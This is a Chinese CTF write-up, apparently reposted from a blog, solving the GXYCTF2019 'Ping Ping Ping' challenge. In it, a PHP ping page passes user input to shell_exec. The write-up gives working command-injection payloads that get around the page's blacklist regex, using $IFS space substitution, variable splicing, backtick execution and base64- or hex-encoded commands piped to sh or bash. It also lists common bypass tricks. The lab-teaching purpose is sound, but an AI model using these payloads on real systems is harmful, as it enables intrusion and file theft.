【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup

0x00 考点

0、命令联合执行

;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)

1、命令绕过空格方法有:

${
    
    IFS}$9
{
    
    IFS}
$IFS
${
    
    IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{
    
    cat,flag.php}  //用逗号实现了空格功能,需要用{
    
    }括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

2、内联执行

内联,就是将反引号内命令的输出作为输入执行

?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字

这里$IFS$9或$IFS垂直,后面加个$与{
    
    }类似,起截断作用

0x01 解题

题目

/?ip=

用|或;执行命令
?ip=127.0.0.1;ls

/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

滤了空格和标点,flag等符号,不能直接cat flag

?ip=127.0.0.1;cat flag.php

/?ip= fxck your space!

过滤了空格,用${IFS}$代替

?ip=127.0.0.1;cat${
    
    IFS}flag.php 

fxck your symbol! 过滤{}

也过滤了{},用$IFS$1代替

?ip=127.0.0.1;cat$IFS$1flag.php

/?ip= fxck your flag!

?ip=127.0.0.1;cat$IFSflag.php	

/?ip= fxck your flag!

不读flag,读index

?ip=127.0.0.1;cat$IFS$1index.php
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    
    
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    
    
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    
    
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    
    
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>
  • 总结:过滤的特殊字符:

& /* < x{
    
    00}-\x{
    
    1f} ' " \ () [] {
    
    }  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash" 
  • flag的贪婪匹配,匹配一个字符串中,是否按顺序出现过flag四个字母
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    
    
    die("fxck your flag!");

源码中有一个$a变量可以覆盖

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php	没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php  	过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

变量替换顺序,效果也不一样

1、简单变量替换,用$a覆盖拼接flag

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看源码

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes <?php $flag =
“flag{d893b431-5300-4b46-9b52-3a5a2390cfca}”; ?>

2、变量ab互换传递,绕过字符串匹配,实现拼接

?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes <?php $flag =
“flag{d893b431-5300-4b46-9b52-3a5a2390cfca}”; ?>

3、内联执行

?ip=127.0.0.1;cat$IFS`ls`
?ip=127.0.0.1;cat$IFS$3`ls`
?ip=127.0.0.1;cat$IFS$9`ls`
?ip=127.0.0.1|cat$IFS$9`ls`
查看源码
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{d893b431-5300-4b46-9b52-3a5a2390cfca}";
?>
/?ip=
<?php
if(isset($_GET['ip'])){
    
    
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    
    
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    
    
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    
    
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    
    
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

4、被过滤的bash,用管道+sh替换

cat flag.php用base64加密来绕过正则匹配

Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash

//?ip= fxck your bash!

过滤了flag、bash,但sh没过滤,linux下可用sh

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

|sh 就是执行前面的echo脚本

5、类似题的大概思路

cat fl**匹配任意 
cat fla**匹配任意
ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{
    
    g.php,G}    把flag.php复制为flaG
ca${
    
    21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${
    
    x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 

通配符

*     #匹配全部字符,通配符
?    #任意一个字符,通配符
[]      #表示一个范围(正则,通配符)
{
    
    }      #产生一个序列(通配符)

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/vanarrow/article/details/108295481